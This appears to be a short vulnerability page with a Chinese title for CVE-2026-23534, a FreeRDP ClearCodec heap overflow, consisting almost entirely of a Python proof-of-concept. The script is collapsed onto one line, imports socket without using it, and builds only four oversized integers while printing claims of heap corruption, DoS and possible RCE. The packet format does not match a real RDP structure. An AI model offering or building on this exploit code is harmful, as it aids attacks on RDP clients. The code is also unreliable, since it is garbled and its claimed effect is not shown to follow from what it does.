CVE-2026-23534 FreeRDP ClearCodec远程堆缓冲区溢出漏洞

import socket import struct def create_malicious_rdp_packet(): """ Generate a PoC for CVE-2026-23534 Malicious ClearCodec band data causing heap buffer overflow """ # RDP PDU header pdu_type = 0x03 # TS_RDP_DATA_PDU # ClearCodec-specific payload codec_type = 0x0E # ClearCodec # Malicious band data with oversized coordinates # This triggers overflow when processed by ClearCodec decoder band_width = 0x7FFFFFFF # Oversized width band_height = 0x7FFFFFFF # Oversized height band_x = 0x7FFFFFFF # Oversized x offset band_y = 0x7FFFFFFF # Oversized y offset payload = struct.pack('>IIII', band_width, band_height, band_x, band_y) return pdu_type, payload def exploit(): """ Simulate exploitation of CVE-2026-23534 Attacker controls RDP server to send malicious ClearCodec data """ print("CVE-2026-23534 PoC - FreeRDP ClearCodec Heap Overflow") print("Target: FreeRDP < 3.21.0") print("Attack Vector: Malicious RDP server sends crafted ClearCodec band data") pdu_type, payload = create_malicious_rdp_packet() print(f"\nMalicious Packet Created:") print(f" PDU Type: 0x{pdu_type:02x}") print(f" Band Width: 0x{payload[0:4].hex()} (overflow value)") print(f" Band Height: 0x{payload[4:8].hex()} (overflow value)") print(f" Band X Offset: 0x{payload[8:12].hex()} (overflow value)") print(f" Band Y Offset: 0x{payload[12:16].hex()} (overflow value)") print("\nResult: Heap buffer overflow in ClearCodec decoder") print("Impact: DoS or potential RCE via heap corruption") exploit()